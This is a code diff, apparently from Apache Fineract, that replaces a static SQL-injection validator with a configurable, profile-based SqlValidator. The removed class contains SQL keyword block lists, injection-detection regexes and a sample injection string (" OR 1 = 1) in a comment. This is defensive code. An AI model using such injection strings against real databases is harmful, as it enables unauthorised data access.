public interface SqlValidator {
void validate(String statement) throws SqlValidationException;
void validate(String profile, String statement) throws SqlValidationException;
}
@@ -31,25 +31,22 @@ import java.util.List;
import java.util.Map; import java.util.Map;
import java.util.Objects; import java.util.Objects;
import java.util.Set; import java.util.Set;
import lombok.RequiredArgsConstructor;
import lombok.extern.slf4j.Slf4j;
import org.apache.commons.lang3.StringUtils; import org.apache.commons.lang3.StringUtils;
import org.slf4j.Logger; import org.apache.fineract.infrastructure.security.service.SqlValidator;
import org.slf4j.LoggerFactory;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.jdbc.core.JdbcTemplate; import org.springframework.jdbc.core.JdbcTemplate;
import org.springframework.jdbc.datasource.DataSourceUtils; import org.springframework.jdbc.datasource.DataSourceUtils;
import org.springframework.stereotype.Component; import org.springframework.stereotype.Component;
@Slf4j
@RequiredArgsConstructor
@Component @Component
public class ColumnValidator { public class ColumnValidator {
private static final Logger LOG = LoggerFactory.getLogger(ColumnValidator.class); private final SqlValidator sqlValidator;
private final JdbcTemplate jdbcTemplate; private final JdbcTemplate jdbcTemplate;
@Autowired
public ColumnValidator(final JdbcTemplate jdbcTemplate) {
this.jdbcTemplate = jdbcTemplate;
}
@SuppressFBWarnings(value = "NP_NULL_ON_SOME_PATH_FROM_RETURN_VALUE", justification = "TODO: fix this!") @SuppressFBWarnings(value = "NP_NULL_ON_SOME_PATH_FROM_RETURN_VALUE", justification = "TODO: fix this!")
private void validateColumn(Map<String, Set<String>> tableColumnMap) { private void validateColumn(Map<String, Set<String>> tableColumnMap) {
Connection connection = null; Connection connection = null;
@@ -87,7 +84,7 @@ public class ColumnValidator {
columns.add(rs.getString("column_name")); columns.add(rs.getString("column_name"));
} }
} catch (SQLException e) { } catch (SQLException e) {
LOG.error("Problem occurred in getTableColumns function", e); log.error("Problem occurred in getTableColumns function", e);
} }
return columns; return columns;
} }
@@ -97,7 +94,7 @@ public class ColumnValidator {
if (StringUtils.isBlank(condition)) { if (StringUtils.isBlank(condition)) {
continue; continue;
} }
SQLInjectionValidator.validateSQLInput(condition); sqlValidator.validate("column", condition);
List<String> operator = new ArrayList<>(Arrays.asList("=", ">", "<", "> =", "< =", "! =", "!=", ">=", "<=")); List<String> operator = new ArrayList<>(Arrays.asList("=", ">", "<", "> =", "< =", "! =", "!=", ">=", "<="));
condition = condition.trim().replace("( ", "(").replace(" )", ")").toLowerCase(); condition = condition.trim().replace("( ", "(").replace(" )", ")").toLowerCase();
for (String op : operator) { for (String op : operator) {
@@ -0,0 +1,100 @@
/**
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing,
* software distributed under the License is distributed on an
* "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
* KIND, either express or implied. See the License for the
* specific language governing permissions and limitations
* under the License.
*/
package org.apache.fineract.infrastructure.security.utils;
import jakarta.annotation.PostConstruct;
import java.util.Comparator;
import java.util.LinkedHashMap;
import java.util.Map;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
import lombok.RequiredArgsConstructor;
import lombok.extern.slf4j.Slf4j;
import org.apache.commons.lang3.StringUtils;
import org.apache.fineract.infrastructure.core.config.FineractProperties;
import org.apache.fineract.infrastructure.security.exception.SqlValidationException;
import org.apache.fineract.infrastructure.security.service.SqlValidator;
import org.springframework.stereotype.Component;
@Slf4j
@RequiredArgsConstructor
@Component
public class DefaultSqlValidator implements SqlValidator {
private final FineractProperties properties;
private Map<String, Pattern> patterns = new LinkedHashMap<>();
private Map<String, FineractProperties.FineractSqlValidationProfileProperties> profiles = new LinkedHashMap<>();
private static final String MAIN_PROFILE = "main";
@PostConstruct
public void init() {
properties.getSqlValidation().getPatterns().forEach(pattern -> {
log.info("Setup SQL validation pattern: {}", pattern.getName());
patterns.put(pattern.getName(), Pattern.compile(pattern.getPattern(), Pattern.DOTALL));
});
properties.getSqlValidation().getProfiles().forEach(profile -> {
log.info("Setup SQL validation profile: {}", profile.getName());
profile.getPatternRefs()
.sort(Comparator.comparing(FineractProperties.FineractSqlValidationPatternReferenceProperties::getOrder));
profiles.put(profile.getName(), profile);
});
// consistency checks
if (!profiles.containsKey(MAIN_PROFILE)) {
throw new IllegalStateException(
"SQL validation profile 'main' missing. This validation profile is the default fallback and has to be provided. NOTE: YOU CANNOT DISABLE SQL VALIDATION!!!");
}
// the default profile needs at least one pattern reference
if (profiles.get(MAIN_PROFILE).getPatternRefs().isEmpty()) {
throw new IllegalStateException(
"SQL Validation pattern references in profile 'main' are empty. Please make sure there is at least one reference available. NOTE: YOU CANNOT DISABLE SQL VALIDATION!!!");
}
// the default profile needs to be enabled
profiles.get(MAIN_PROFILE).setEnabled(true);
}
@Override
public void validate(final String statement) throws SqlValidationException {
validate(MAIN_PROFILE, statement);
}
@Override
public void validate(final String profile, final String statement) throws SqlValidationException {
if (StringUtils.isBlank(statement)) {
return;
}
for (var ref : profiles.getOrDefault(profile, profiles.get(MAIN_PROFILE)).getPatternRefs()) {
Matcher matcher = patterns.get(ref.getName()).matcher(statement);
if (matcher.matches()) {
log.warn("SQL validation error: >> {} <<", statement);
throw new SqlValidationException(String.format("invalid SQL statement (detected '%s' pattern)", ref.getName()));
}
}
}
}
@@ -28,8 +28,8 @@ import java.util.regex.Pattern;
* Utility to assemble the WHERE clause of an SQL query without the risk of SQL injection. * Utility to assemble the WHERE clause of an SQL query without the risk of SQL injection.
* *
* <p> * <p>
* When using this utility instead of manually assembling SQL queries, then {@link SQLInjectionValidator} should not be * When using this utility instead of manually assembling SQL queries, then {@link SqlValidator} should not be required
* required anymore. (Correctly using this means only ever passing completely fixed String literals to .) * anymore. (Correctly using this means only ever passing completely fixed String literals to .)
* *
* @author Michael Vorburger <mike@vorburger.ch> * @author Michael Vorburger <mike@vorburger.ch>
*/ */
@@ -21,6 +21,7 @@ package org.apache.fineract.infrastructure.security.utils;
import java.sql.SQLException; import java.sql.SQLException;
import org.apache.fineract.infrastructure.core.exception.PlatformApiDataValidationException; import org.apache.fineract.infrastructure.core.exception.PlatformApiDataValidationException;
@Deprecated
public class SQLInjectionException extends PlatformApiDataValidationException { public class SQLInjectionException extends PlatformApiDataValidationException {
public SQLInjectionException() { public SQLInjectionException() {
@@ -1,166 +0,0 @@
/**
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing,
* software distributed under the License is distributed on an
* "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
* KIND, either express or implied. See the License for the
* specific language governing permissions and limitations
* under the License.
*/
package org.apache.fineract.infrastructure.security.utils;
import java.util.List;
import java.util.StringTokenizer;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
import org.apache.commons.lang3.StringUtils;
public final class SQLInjectionValidator {
private SQLInjectionValidator() {
}
private static final String[] DDL_COMMANDS = { "create", "drop", "alter", "truncate", "comment", "sleep" };
private static final String[] DML_COMMANDS = { "select", "insert", "update", "delete", "merge", "upsert", "call" };
private static final String[] COMMENTS = { "--", "({", "/*", "#" };
private static final String SQL_PATTERN = "[a-zA-Z_=,\\-:'!><.?\"`% ()0-9*\n\r]*";
// TODO: see here https://rails-sqli.org for and
// https://larrysteinle.com/2011/02/20/use-regular-expressions-to-detect-sql-code-injection more examples
private static final List<String> INJECTION_PATTERNS = List.of("(?i).*[or|and]\s*[\"']?-1[\"']?\\s*(-*).*",
"(?i).*\\s+[\"']?(\\d+)[\"']?\\s*=\\s*[\"']?(\\1)[\"']?\\s*(-*).*");
public static void validateSQLInput(final String sqlSearch) {
if (StringUtils.isBlank(sqlSearch)) {
return;
}
String lowerCaseSQL = sqlSearch.toLowerCase();
List<String[]> commandsList = List.of(DDL_COMMANDS, DML_COMMANDS, COMMENTS);
validateSQLCommands(lowerCaseSQL, commandsList, String::contains);
patternMatchSqlInjection(sqlSearch, lowerCaseSQL);
}
public static void validateAdhocQuery(final String sqlSearch) {
if (StringUtils.isBlank(sqlSearch)) {
return;
}
String lowerCaseSQL = sqlSearch.toLowerCase().trim();
validateSQLCommand(lowerCaseSQL, DDL_COMMANDS, String::startsWith);
validateSQLCommand(lowerCaseSQL, COMMENTS, String::contains);
// Removing the space before and after '=' operator
// String s = " \" OR 1 = 1"; For the cases like this
patternMatchSqlInjection(sqlSearch, lowerCaseSQL);
}
public static void validateDynamicQuery(final String sqlSearch) {
if (StringUtils.isBlank(sqlSearch)) {
return;
}
String lowerCaseSQL = sqlSearch.toLowerCase();
List<String[]> commandsList = List.of(DDL_COMMANDS, DML_COMMANDS, COMMENTS);
validateSQLCommands(lowerCaseSQL, commandsList, String::equals);
// Removing the space before and after '=' operator
// String s = " \" OR 1 = 1"; For the cases like this
patternMatchSqlInjection(sqlSearch, lowerCaseSQL);
}
private static void patternMatchSqlInjection(String sqlSearch, String lowerCaseSQL) {
// Removing the space before and after '=' operator
// String s = " \" OR 1 = 1"; For the cases like this
boolean injectionFound = false;
String inputSqlString = lowerCaseSQL.replaceAll("\\s*=\\s*", "=");
StringTokenizer tokenizer = new StringTokenizer(inputSqlString, " ");
while (tokenizer.hasMoreTokens()) {
String token = tokenizer.nextToken().trim();
if (token.equals("'")) {
if (tokenizer.hasMoreElements()) {
String nextToken = tokenizer.nextToken().trim();
if (!nextToken.equals("'")) {
injectionFound = true;
break;
}
} else {
injectionFound = true;
break;
}
}
if (token.equals("\"")) {
if (tokenizer.hasMoreElements()) {
String nextToken = tokenizer.nextToken().trim();
if (!nextToken.equals("\"")) {
injectionFound = true;
break;
}
} else {
injectionFound = true;
break;
}
} else if (token.indexOf('=') > 0) {
StringTokenizer operatorToken = new StringTokenizer(token, "=");
String operand = operatorToken.nextToken().trim();
if (!operatorToken.hasMoreTokens()) {
injectionFound = true;
break;
}
String value = operatorToken.nextToken().trim();
if (operand.equals(value)) {
injectionFound = true;
break;
}
}
}
if (injectionFound) {
throw new SQLInjectionException();
}
for (String injectionPattern : INJECTION_PATTERNS) {
Pattern pattern = Pattern.compile(injectionPattern);
Matcher matcher = pattern.matcher(sqlSearch);
if (matcher.matches()) {
throw new SQLInjectionException();
}
}
Pattern pattern = Pattern.compile(SQL_PATTERN);
Matcher matcher = pattern.matcher(sqlSearch);
if (!matcher.matches()) {
throw new SQLInjectionException();
}
}
private static void validateSQLCommand(String lowerCaseSQL, String[] commands, SQLCommandCondition condition) {
for (String command : commands) {
if (condition.checkCondition(lowerCaseSQL, command)) {
throw new SQLInjectionException();
}
}
}
private static void validateSQLCommands(String lowerCaseSQL, List<String[]> commandsList, SQLCommandCondition condition) {
for (String[] commands : commandsList) {
validateSQLCommand(lowerCaseSQL, commands, condition);
}
}
}
@@ -29,19 +29,23 @@ import java.util.HashSet;
import java.util.List; import java.util.List;
import java.util.Map; import java.util.Map;
import java.util.Set; import java.util.Set;
import lombok.RequiredArgsConstructor;
import lombok.extern.slf4j.Slf4j;
import org.apache.commons.lang3.StringUtils; import org.apache.commons.lang3.StringUtils;
import org.apache.fineract.infrastructure.core.data.ApiParameterError; import org.apache.fineract.infrastructure.core.data.ApiParameterError;
import org.apache.fineract.infrastructure.core.data.DataValidatorBuilder; import org.apache.fineract.infrastructure.core.data.DataValidatorBuilder;
import org.apache.fineract.infrastructure.core.exception.InvalidJsonException; import org.apache.fineract.infrastructure.core.exception.InvalidJsonException;
import org.apache.fineract.infrastructure.core.exception.PlatformApiDataValidationException; import org.apache.fineract.infrastructure.core.exception.PlatformApiDataValidationException;
import org.apache.fineract.infrastructure.core.serialization.FromJsonHelper; import org.apache.fineract.infrastructure.core.serialization.FromJsonHelper;
import org.apache.fineract.infrastructure.security.utils.SQLInjectionValidator; import org.apache.fineract.infrastructure.security.service.SqlValidator;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Component; import org.springframework.stereotype.Component;
@Slf4j
@RequiredArgsConstructor
@Component @Component
public class AdHocQueryDataValidator { public class AdHocQueryDataValidator {
private final SqlValidator sqlValidator;
private final FromJsonHelper fromApiJsonHelper; private final FromJsonHelper fromApiJsonHelper;
private static final Set<String> AD_HOC_SEARCH_QUERY_REQUEST_DATA_PARAMETERS = new HashSet<>(Arrays.asList( private static final Set<String> AD_HOC_SEARCH_QUERY_REQUEST_DATA_PARAMETERS = new HashSet<>(Arrays.asList(
AdHocQuerySearchConstants.entitiesParamName, AdHocQuerySearchConstants.loanStatusParamName, AdHocQuerySearchConstants.entitiesParamName, AdHocQuerySearchConstants.loanStatusParamName,
@@ -66,11 +70,6 @@ public class AdHocQueryDataValidator {
AdHocQuerySearchConstants.arrearsLoanStatusOption, AdHocQuerySearchConstants.closedLoanStatusOption, AdHocQuerySearchConstants.arrearsLoanStatusOption, AdHocQuerySearchConstants.closedLoanStatusOption,
AdHocQuerySearchConstants.writeoffLoanStatusOption }; AdHocQuerySearchConstants.writeoffLoanStatusOption };
@Autowired
public AdHocQueryDataValidator(final FromJsonHelper fromApiJsonHelper) {
this.fromApiJsonHelper = fromApiJsonHelper;
}
public void validateAdHocQueryParameters(final String json) { public void validateAdHocQueryParameters(final String json) {
if (StringUtils.isBlank(json)) { if (StringUtils.isBlank(json)) {
@@ -229,7 +228,7 @@ public class AdHocQueryDataValidator {
String loanDateOption = null; String loanDateOption = null;
if (this.fromApiJsonHelper.parameterExists(AdHocQuerySearchConstants.loanDateOptionParamName, element)) { if (this.fromApiJsonHelper.parameterExists(AdHocQuerySearchConstants.loanDateOptionParamName, element)) {
loanDateOption = this.fromApiJsonHelper.extractStringNamed(AdHocQuerySearchConstants.loanDateOptionParamName, element); loanDateOption = this.fromApiJsonHelper.extractStringNamed(AdHocQuerySearchConstants.loanDateOptionParamName, element);
SQLInjectionValidator.validateSQLInput(loanDateOption); sqlValidator.validate(loanDateOption);
} }
LocalDate loanFromDate = null; LocalDate loanFromDate = null;
@@ -252,7 +251,7 @@ public class AdHocQueryDataValidator {
if (this.fromApiJsonHelper.parameterExists(AdHocQuerySearchConstants.outStandingAmountPercentageConditionParamName, element)) { if (this.fromApiJsonHelper.parameterExists(AdHocQuerySearchConstants.outStandingAmountPercentageConditionParamName, element)) {
outStandingAmountPercentageCondition = this.fromApiJsonHelper outStandingAmountPercentageCondition = this.fromApiJsonHelper
.extractStringNamed(AdHocQuerySearchConstants.outStandingAmountPercentageConditionParamName, element); .extractStringNamed(AdHocQuerySearchConstants.outStandingAmountPercentageConditionParamName, element);
SQLInjectionValidator.validateSQLInput(outStandingAmountPercentageCondition); sqlValidator.validate(outStandingAmountPercentageCondition);
} }
BigDecimal minOutStandingAmountPercentage = null; BigDecimal minOutStandingAmountPercentage = null;
@@ -283,7 +282,7 @@ public class AdHocQueryDataValidator {
if (this.fromApiJsonHelper.parameterExists(AdHocQuerySearchConstants.outstandingAmountConditionParamName, element)) { if (this.fromApiJsonHelper.parameterExists(AdHocQuerySearchConstants.outstandingAmountConditionParamName, element)) {
outstandingAmountCondition = this.fromApiJsonHelper outstandingAmountCondition = this.fromApiJsonHelper
.extractStringNamed(AdHocQuerySearchConstants.outstandingAmountConditionParamName, element); .extractStringNamed(AdHocQuerySearchConstants.outstandingAmountConditionParamName, element);
SQLInjectionValidator.validateSQLInput(outstandingAmountCondition); sqlValidator.validate(outstandingAmountCondition);
} }
BigDecimal minOutstandingAmount = null; BigDecimal minOutstandingAmount = null;
@@ -39,6 +39,8 @@ import java.util.Locale;
import java.util.Map; import java.util.Map;
import java.util.function.Predicate; import java.util.function.Predicate;
import java.util.stream.Collectors; import java.util.stream.Collectors;
import lombok.RequiredArgsConstructor;
import lombok.extern.slf4j.Slf4j;
import org.apache.commons.lang3.BooleanUtils; import org.apache.commons.lang3.BooleanUtils;
import org.apache.commons.lang3.StringUtils; import org.apache.commons.lang3.StringUtils;
import org.apache.fineract.infrastructure.core.data.ApiParameterError; import org.apache.fineract.infrastructure.core.data.ApiParameterError;
@@ -50,30 +52,34 @@ import org.apache.fineract.infrastructure.core.service.database.DatabaseSpecific
import org.apache.fineract.infrastructure.core.service.database.JdbcJavaType; import org.apache.fineract.infrastructure.core.service.database.JdbcJavaType;
import org.apache.fineract.infrastructure.core.service.database.SqlOperator; import org.apache.fineract.infrastructure.core.service.database.SqlOperator;
import org.apache.fineract.infrastructure.dataqueries.data.ResultsetColumnHeaderData; import org.apache.fineract.infrastructure.dataqueries.data.ResultsetColumnHeaderData;
import org.apache.fineract.infrastructure.security.utils.SQLInjectionValidator; import org.apache.fineract.infrastructure.security.service.SqlValidator;
import org.apache.fineract.portfolio.search.data.ColumnFilterData; import org.apache.fineract.portfolio.search.data.ColumnFilterData;
import org.apache.fineract.portfolio.search.data.FilterData; import org.apache.fineract.portfolio.search.data.FilterData;
import org.springframework.jdbc.support.rowset.SqlRowSet; import org.springframework.jdbc.support.rowset.SqlRowSet;
import org.springframework.stereotype.Component;
public final class SearchUtil { @Slf4j
@RequiredArgsConstructor
@Component
public class SearchUtil {
public static final int DEFAULT_PAGE_SIZE = 50; public static final int DEFAULT_PAGE_SIZE = 50;
private static final JsonParserHelper helper = new JsonParserHelper(); private static final JsonParserHelper helper = new JsonParserHelper();
private SearchUtil() {} private final SqlValidator sqlValidator;
@NotNull @NotNull
public static Map<String, ResultsetColumnHeaderData> mapHeadersToName(@NotNull Collection<ResultsetColumnHeaderData> columnHeaders) { public Map<String, ResultsetColumnHeaderData> mapHeadersToName(@NotNull Collection<ResultsetColumnHeaderData> columnHeaders) {
return columnHeaders.stream().collect(Collectors.toMap(ResultsetColumnHeaderData::getColumnName, e -> e)); return columnHeaders.stream().collect(Collectors.toMap(ResultsetColumnHeaderData::getColumnName, e -> e));
} }
public static ResultsetColumnHeaderData findFiltered(@NotNull Collection<ResultsetColumnHeaderData> columnHeaders, public ResultsetColumnHeaderData findFiltered(@NotNull Collection<ResultsetColumnHeaderData> columnHeaders,
@NotNull Predicate<ResultsetColumnHeaderData> filter) { @NotNull Predicate<ResultsetColumnHeaderData> filter) {
return columnHeaders.stream().filter(filter).findFirst().orElse(null); return columnHeaders.stream().filter(filter).findFirst().orElse(null);
} }
public static ResultsetColumnHeaderData getFiltered(@NotNull Collection<ResultsetColumnHeaderData> columnHeaders, public ResultsetColumnHeaderData getFiltered(@NotNull Collection<ResultsetColumnHeaderData> columnHeaders,
@NotNull Predicate<ResultsetColumnHeaderData> filter) { @NotNull Predicate<ResultsetColumnHeaderData> filter) {
ResultsetColumnHeaderData filtered = findFiltered(columnHeaders, filter); ResultsetColumnHeaderData filtered = findFiltered(columnHeaders, filter);
if (filtered == null) { if (filtered == null) {
@@ -82,8 +88,8 @@ public final class SearchUtil {
return filtered; return filtered;
} }
public static void extractJsonResult(@NotNull SqlRowSet rowSet, @NotNull List<String> selectColumns, public void extractJsonResult(@NotNull SqlRowSet rowSet, @NotNull List<String> selectColumns, @NotNull List<String> resultColumns,
@NotNull List<String> resultColumns, @NotNull List<JsonObject> results) { @NotNull List<JsonObject> results) {
JsonObject json = new JsonObject(); JsonObject json = new JsonObject();
for (int i = 0; i < selectColumns.size(); i++) { for (int i = 0; i < selectColumns.size(); i++) {
Object rowValue = rowSet.getObject(selectColumns.get(i)); Object rowValue = rowSet.getObject(selectColumns.get(i));
@@ -115,15 +121,15 @@ public final class SearchUtil {
} }
@NotNull @NotNull
public static List<String> validateToJdbcColumnNames(List<String> columns, Map<String, ResultsetColumnHeaderData> headersByName, public List<String> validateToJdbcColumnNames(List<String> columns, Map<String, ResultsetColumnHeaderData> headersByName,
boolean allowEmpty) { boolean allowEmpty) {
List<ResultsetColumnHeaderData> columnHeaders = validateToJdbcColumns(columns, headersByName, allowEmpty); List<ResultsetColumnHeaderData> columnHeaders = validateToJdbcColumns(columns, headersByName, allowEmpty);
return columnHeaders.stream().map(e -> e == null ? null : e.getColumnName()).toList(); return columnHeaders.stream().map(e -> e == null ? null : e.getColumnName()).toList();
} }
@NotNull @NotNull
public static List<ResultsetColumnHeaderData> validateToJdbcColumns(List<String> columns, public List<ResultsetColumnHeaderData> validateToJdbcColumns(List<String> columns, Map<String, ResultsetColumnHeaderData> headersByName,
Map<String, ResultsetColumnHeaderData> headersByName, boolean allowEmpty) { boolean allowEmpty) {
final List<ApiParameterError> errors = new ArrayList<>(); final List<ApiParameterError> errors = new ArrayList<>();
List<ResultsetColumnHeaderData> result = new ArrayList<>(); List<ResultsetColumnHeaderData> result = new ArrayList<>();
@@ -140,13 +146,13 @@ public final class SearchUtil {
return result; return result;
} }
public static String validateToJdbcColumnName(String column, Map<String, ResultsetColumnHeaderData> headersByName, boolean allowEmpty) { public String validateToJdbcColumnName(String column, Map<String, ResultsetColumnHeaderData> headersByName, boolean allowEmpty) {
ResultsetColumnHeaderData columnHeader = validateToJdbcColumn(column, headersByName, allowEmpty); ResultsetColumnHeaderData columnHeader = validateToJdbcColumn(column, headersByName, allowEmpty);
return columnHeader == null ? null : columnHeader.getColumnName(); return columnHeader == null ? null : columnHeader.getColumnName();
} }
public static ResultsetColumnHeaderData validateToJdbcColumn(String column, public ResultsetColumnHeaderData validateToJdbcColumn(String column, @NotNull Map<String, ResultsetColumnHeaderData> headersByName,
@NotNull Map<String, ResultsetColumnHeaderData> headersByName, boolean allowEmpty) { boolean allowEmpty) {
final List<ApiParameterError> errors = new ArrayList<>(); final List<ApiParameterError> errors = new ArrayList<>();
ResultsetColumnHeaderData columnHeader = validateToJdbcColumnImpl(column, headersByName, errors, allowEmpty); ResultsetColumnHeaderData columnHeader = validateToJdbcColumnImpl(column, headersByName, errors, allowEmpty);
if (!errors.isEmpty()) { if (!errors.isEmpty()) {
@@ -155,8 +161,8 @@ public final class SearchUtil {
return columnHeader; return columnHeader;
} }
private static ResultsetColumnHeaderData validateToJdbcColumnImpl(String column, private ResultsetColumnHeaderData validateToJdbcColumnImpl(String column, @NotNull Map<String, ResultsetColumnHeaderData> headersByName,
@NotNull Map<String, ResultsetColumnHeaderData> headersByName, @NotNull List<ApiParameterError> errors, boolean allowEmpty) { @NotNull List<ApiParameterError> errors, boolean allowEmpty) {
if (!allowEmpty && column == null) { if (!allowEmpty && column == null) {
errors.add(parameterErrorWithValue("error.msg.column.empty", "Column filter is empty", API_PARAM_COLUMN, null)); errors.add(parameterErrorWithValue("error.msg.column.empty", "Column filter is empty", API_PARAM_COLUMN, null));
} }
@@ -173,9 +179,9 @@ public final class SearchUtil {
return columnHeader; return columnHeader;
} }
public static boolean buildQueryCondition(List<ColumnFilterData> columnFilters, @NotNull StringBuilder where, public boolean buildQueryCondition(List<ColumnFilterData> columnFilters, @NotNull StringBuilder where, @NotNull List<Object> params,
@NotNull List<Object> params, String alias, Map<String, ResultsetColumnHeaderData> headersByName, String dateFormat, String alias, Map<String, ResultsetColumnHeaderData> headersByName, String dateFormat, String dateTimeFormat, Locale locale,
String dateTimeFormat, Locale locale, boolean embedded, @NotNull DatabaseSpecificSQLGenerator sqlGenerator) { boolean embedded, @NotNull DatabaseSpecificSQLGenerator sqlGenerator) {
if (columnFilters == null) { if (columnFilters == null) {
return false; return false;
} }
@@ -192,7 +198,7 @@ public final class SearchUtil {
return added; return added;
} }
public static boolean buildFilterCondition(ColumnFilterData columnFilter, @NotNull StringBuilder where, @NotNull List<Object> params, public boolean buildFilterCondition(ColumnFilterData columnFilter, @NotNull StringBuilder where, @NotNull List<Object> params,
String alias, Map<String, ResultsetColumnHeaderData> headersByName, String dateFormat, String dateTimeFormat, Locale locale, String alias, Map<String, ResultsetColumnHeaderData> headersByName, String dateFormat, String dateTimeFormat, Locale locale,
boolean embedded, @NotNull DatabaseSpecificSQLGenerator sqlGenerator) { boolean embedded, @NotNull DatabaseSpecificSQLGenerator sqlGenerator) {
String columnName = columnFilter.getColumn(); String columnName = columnFilter.getColumn();
@@ -221,9 +227,8 @@ public final class SearchUtil {
return size > 0; return size > 0;
} }
public static void buildCondition(@NotNull String definition, JdbcJavaType columnType, @NotNull SqlOperator operator, public void buildCondition(@NotNull String definition, JdbcJavaType columnType, @NotNull SqlOperator operator, List<Object> values,
List<Object> values, @NotNull StringBuilder where, @NotNull List<Object> params, String alias, @NotNull StringBuilder where, @NotNull List<Object> params, String alias, @NotNull DatabaseSpecificSQLGenerator sqlGenerator) {
@NotNull DatabaseSpecificSQLGenerator sqlGenerator) {
int paramCount = values == null ? 0 : values.size(); int paramCount = values == null ? 0 : values.size();
where.append(operator.formatPlaceholder(sqlGenerator, definition, paramCount, alias)); where.append(operator.formatPlaceholder(sqlGenerator, definition, paramCount, alias));
if (values != null) { if (values != null) {
@@ -231,13 +236,13 @@ public final class SearchUtil {
} }
} }
public static Object parseJdbcColumnValue(@NotNull ResultsetColumnHeaderData columnHeader, String columnValue, String dateFormat, public Object parseJdbcColumnValue(@NotNull ResultsetColumnHeaderData columnHeader, String columnValue, String dateFormat,
String dateTimeFormat, Locale locale, boolean strict, @NotNull DatabaseSpecificSQLGenerator sqlGenerator) { String dateTimeFormat, Locale locale, boolean strict, @NotNull DatabaseSpecificSQLGenerator sqlGenerator) {
return columnHeader.getColumnType().toJdbcValue(sqlGenerator.getDialect(), return columnHeader.getColumnType().toJdbcValue(sqlGenerator.getDialect(),
parseColumnValue(columnHeader, columnValue, dateFormat, dateTimeFormat, locale, strict, sqlGenerator), false); parseColumnValue(columnHeader, columnValue, dateFormat, dateTimeFormat, locale, strict, sqlGenerator), false);
} }
public static Object parseColumnValue(@NotNull ResultsetColumnHeaderData columnHeader, String columnValue, String dateFormat, public Object parseColumnValue(@NotNull ResultsetColumnHeaderData columnHeader, String columnValue, String dateFormat,
String dateTimeFormat, Locale locale, boolean strict, @NotNull DatabaseSpecificSQLGenerator sqlGenerator) { String dateTimeFormat, Locale locale, boolean strict, @NotNull DatabaseSpecificSQLGenerator sqlGenerator) {
JdbcJavaType colType = columnHeader.getColumnType(); JdbcJavaType colType = columnHeader.getColumnType();
if (!colType.isStringType() || !columnHeader.isMandatory()) { if (!colType.isStringType() || !columnHeader.isMandatory()) {
@@ -254,7 +259,7 @@ public final class SearchUtil {
return columnValue; return columnValue;
} }
if (strict) { if (strict) {
SQLInjectionValidator.validateDynamicQuery(columnValue); sqlValidator.validate(columnValue);
} }
if (columnHeader.hasColumnValues()) { if (columnHeader.hasColumnValues()) {
@@ -314,7 +319,7 @@ public final class SearchUtil {
return columnValue; return columnValue;
} }
public static String camelToSnake(final String camelStr) { public String camelToSnake(final String camelStr) {
return camelStr == null ? null return camelStr == null ? null
: camelStr.replaceAll("([A-Z]+)([A-Z][a-z])", "$1_$2").replaceAll("([a-z])([A-Z])", "$1_$2").toLowerCase(); : camelStr.replaceAll("([A-Z]+)([A-Z][a-z])", "$1_$2").replaceAll("([a-z])([A-Z])", "$1_$2").toLowerCase();
} }
@@ -67,6 +67,7 @@ import org.apache.fineract.infrastructure.core.serialization.DefaultToApiJsonSer
import org.apache.fineract.infrastructure.core.service.Page; import org.apache.fineract.infrastructure.core.service.Page;
import org.apache.fineract.infrastructure.core.service.SearchParameters; import org.apache.fineract.infrastructure.core.service.SearchParameters;
import org.apache.fineract.infrastructure.security.service.PlatformSecurityContext; import org.apache.fineract.infrastructure.security.service.PlatformSecurityContext;
import org.apache.fineract.infrastructure.security.service.SqlValidator;
import org.glassfish.jersey.media.multipart.FormDataContentDisposition; import org.glassfish.jersey.media.multipart.FormDataContentDisposition;
import org.glassfish.jersey.media.multipart.FormDataParam; import org.glassfish.jersey.media.multipart.FormDataParam;
import org.springframework.stereotype.Component; import org.springframework.stereotype.Component;
@@ -92,6 +93,7 @@ public class JournalEntriesApiResource {
private final PortfolioCommandSourceWritePlatformService commandsSourceWritePlatformService; private final PortfolioCommandSourceWritePlatformService commandsSourceWritePlatformService;
private final BulkImportWorkbookService bulkImportWorkbookService; private final BulkImportWorkbookService bulkImportWorkbookService;
private final BulkImportWorkbookPopulatorService bulkImportWorkbookPopulatorService; private final BulkImportWorkbookPopulatorService bulkImportWorkbookPopulatorService;
private final SqlValidator sqlValidator;
@GET @GET
@Consumes({ MediaType.APPLICATION_JSON }) @Consumes({ MediaType.APPLICATION_JSON })
@@ -147,8 +149,10 @@ public class JournalEntriesApiResource {
submittedOnDateTo = submittedOnDateToParam.getDate("submittedOnDateTo", dateFormat, locale); submittedOnDateTo = submittedOnDateToParam.getDate("submittedOnDateTo", dateFormat, locale);
} }
final SearchParameters searchParameters = SearchParameters.forJournalEntries(officeId, offset, limit, orderBy, sortOrder, loanId, sqlValidator.validate(orderBy);
savingsId); sqlValidator.validate(sortOrder);
final SearchParameters searchParameters = SearchParameters.builder().limit(limit).officeId(officeId).offset(offset).orderBy(orderBy)
.sortOrder(sortOrder).loanId(loanId).savingsId(savingsId).build();
JournalEntryAssociationParametersData associationParametersData = new JournalEntryAssociationParametersData(transactionDetails, JournalEntryAssociationParametersData associationParametersData = new JournalEntryAssociationParametersData(transactionDetails,
runningBalance); runningBalance);
@@ -246,7 +250,7 @@ public class JournalEntriesApiResource {
@QueryParam("entryId") final Long entryId, @Context final UriInfo uriInfo) { @QueryParam("entryId") final Long entryId, @Context final UriInfo uriInfo) {
this.context.authenticatedUser(); this.context.authenticatedUser();
String transactionId = "P" + entryId; String transactionId = "P" + entryId;
SearchParameters params = SearchParameters.forPagination(offset, limit); SearchParameters params = SearchParameters.builder().limit(limit).offset(offset).build();
